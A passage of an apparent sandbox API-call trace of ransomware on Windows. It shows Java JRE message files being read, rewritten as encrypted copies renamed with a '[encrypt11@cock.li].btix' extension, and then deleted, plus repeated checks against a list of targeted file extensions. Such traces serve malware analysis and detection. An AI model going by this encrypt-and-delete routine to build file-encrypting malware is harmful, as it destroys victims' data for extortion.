files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0129.970] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.971] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0129.971] GetLastError () returned 0x0 [0129.971] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xe10, lpOverlapped=0x0) returned 1 [0130.212] WriteFile (in: hFile=0x430, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe20, lpOverlapped=0x0) returned 1 [0130.213] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.213] WriteFile (in: hFile=0x430, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1 [0130.213] SetEndOfFile (hFile=0x430) returned 1 [0130.214] CloseHandle (hObject=0x430) returned 1 [0130.214] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.214] SetEndOfFile (hFile=0x42c) returned 1 [0130.216] CloseHandle (hObject=0x42c) returned 1 [0130.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.217] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0130.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.217] lstrlenW (lpString=".doc") returned 4 [0130.217] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString=".docx") returned 5 [0130.218] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.218] lstrlenW (lpString=".pdf") returned 4 [0130.218] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString=".xls") returned 4 [0130.218] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString=".xlsx") returned 5 [0130.218] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.218] lstrlenW (lpString=".ppt") returned 4 [0130.218] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.218] lstrlenW (lpString=".zip") returned 4 [0130.218] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString=".rar") returned 4 [0130.218] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString=".bz2") returned 4 [0130.218] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString=".7z") returned 3 [0130.218] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.218] lstrlenW (lpString=".dbf") returned 4 [0130.218] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.218] lstrlenW (lpString=".1cd") returned 4 [0130.218] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.218] lstrlenW (lpString=".jpg") returned 4 [0130.219] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.219] lstrlenW (lpString=".doc") returned 4 [0130.219] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString=".docx") returned 5 [0130.219] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.219] lstrlenW (lpString=".pdf") returned 4 [0130.219] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString=".xls") returned 4 [0130.219] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString=".xlsx") returned 5 [0130.219] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.219] lstrlenW (lpString=".ppt") returned 4 [0130.219] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.219] lstrlenW (lpString=".zip") returned 4 [0130.219] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString=".rar") returned 4 [0130.219] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString=".bz2") returned 4 [0130.219] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString=".7z") returned 3 [0130.219] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.219] lstrlenW (lpString=".dbf") returned 4 [0130.219] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.219] lstrlenW (lpString=".1cd") returned 4 [0130.220] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0130.220] lstrlenW (lpString=".jpg") returned 4 [0130.220] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.220] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.220] lstrlenW (lpString="messages_ja.properties") returned 22 [0130.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.221] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6349) returned 1 [0130.221] CloseHandle (hObject=0x42c) returned 1 [0130.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0130.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.222] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.222] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.222] GetLastError () returned 0x0 [0130.223] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x18cd, lpOverlapped=0x0) returned 1 [0130.370] WriteFile (in: hFile=0x430, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0130.371] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.371] WriteFile (in: hFile=0x430, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1 [0130.371] SetEndOfFile (hFile=0x430) returned 1 [0130.371] CloseHandle (hObject=0x430) returned 1 [0130.371] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.372] SetEndOfFile (hFile=0x42c) returned 1 [0130.379] CloseHandle (hObject=0x42c) returned 1 [0130.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.379] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0130.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.380] lstrlenW (lpString=".doc") returned 4 [0130.380] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.380] lstrlenW (lpString=".docx") returned 5 [0130.380] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.380] lstrlenW (lpString=".pdf") returned 4 [0130.380] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.380] lstrlenW (lpString=".xls") returned 4 [0130.380] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.380] lstrlenW (lpString=".xlsx") returned 5 [0130.380] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.380] lstrlenW (lpString=".ppt") returned 4 [0130.380] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.380] lstrlenW (lpString=".zip") returned 4 [0130.380] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.380] lstrlenW (lpString=".rar") returned 4 [0130.380] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.380] lstrlenW (lpString=".bz2") returned 4 [0130.380] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.380] lstrlenW (lpString=".7z") returned 3 [0130.380] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.380] lstrlenW (lpString=".dbf") returned 4 [0130.380] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.381] lstrlenW (lpString=".1cd") returned 4 [0130.381] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.381] lstrlenW (lpString=".jpg") returned 4 [0130.381] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.381] lstrlenW (lpString=".doc") returned 4 [0130.381] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString=".docx") returned 5 [0130.381] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.381] lstrlenW (lpString=".pdf") returned 4 [0130.381] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString=".xls") returned 4 [0130.381] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString=".xlsx") returned 5 [0130.381] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.381] lstrlenW (lpString=".ppt") returned 4 [0130.381] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.381] lstrlenW (lpString=".zip") returned 4 [0130.381] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString=".rar") returned 4 [0130.381] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString=".bz2") returned 4 [0130.381] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString=".7z") returned 3 [0130.381] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.381] lstrlenW (lpString=".dbf") returned 4 [0130.381] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.381] lstrlenW (lpString=".1cd") returned 4 [0130.381] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0130.382] lstrlenW (lpString=".jpg") returned 4 [0130.382] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.382] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.382] lstrlenW (lpString="messages_sv.properties") returned 22 [0130.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.382] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3409) returned 1 [0130.382] CloseHandle (hObject=0x42c) returned 1 [0130.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0130.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.386] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.386] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.387] GetLastError () returned 0x0 [0130.387] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xd51, lpOverlapped=0x0) returned 1 [0130.437] WriteFile (in: hFile=0x430, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xd60, lpOverlapped=0x0) returned 1 [0130.455] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.455] WriteFile (in: hFile=0x430, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1 [0130.455] SetEndOfFile (hFile=0x430) returned 1 [0130.460] CloseHandle (hObject=0x430) returned 1 [0130.461] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.461] SetEndOfFile (hFile=0x42c) returned 1 [0130.470] CloseHandle (hObject=0x42c) returned 1 [0130.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.470] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0130.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.471] lstrlenW (lpString=".doc") returned 4 [0130.471] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.471] lstrlenW (lpString=".docx") returned 5 [0130.471] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.471] lstrlenW (lpString=".pdf") returned 4 [0130.471] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.471] lstrlenW (lpString=".xls") returned 4 [0130.471] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.471] lstrlenW (lpString=".xlsx") returned 5 [0130.471] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.471] lstrlenW (lpString=".ppt") returned 4 [0130.471] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.471] lstrlenW (lpString=".zip") returned 4 [0130.471] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.471] lstrlenW (lpString=".rar") returned 4 [0130.471] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.471] lstrlenW (lpString=".bz2") returned 4 [0130.471] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.471] lstrlenW (lpString=".7z") returned 3 [0130.471] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.471] lstrlenW (lpString=".dbf") returned 4 [0130.472] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.472] lstrlenW (lpString=".1cd") returned 4 [0130.472] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.472] lstrlenW (lpString=".jpg") returned 4 [0130.472] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.472] lstrlenW (lpString=".doc") returned 4 [0130.472] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString=".docx") returned 5 [0130.472] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.472] lstrlenW (lpString=".pdf") returned 4 [0130.472] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString=".xls") returned 4 [0130.472] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString=".xlsx") returned 5 [0130.472] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.472] lstrlenW (lpString=".ppt") returned 4 [0130.472] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.472] lstrlenW (lpString=".zip") returned 4 [0130.472] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString=".rar") returned 4 [0130.472] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString=".bz2") returned 4 [0130.472] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString=".7z") returned 3 [0130.472] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.472] lstrlenW (lpString=".dbf") returned 4 [0130.472] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.472] lstrlenW (lpString=".1cd") returned 4 [0130.472] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0130.473] lstrlenW (lpString=".jpg") returned 4 [0130.473] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.473] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.473] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0130.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.474] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3752) returned 1 [0130.474] CloseHandle (hObject=0x42c) returned 1 [0130.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0130.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.474] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.474] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.474] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.474] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0130.475] 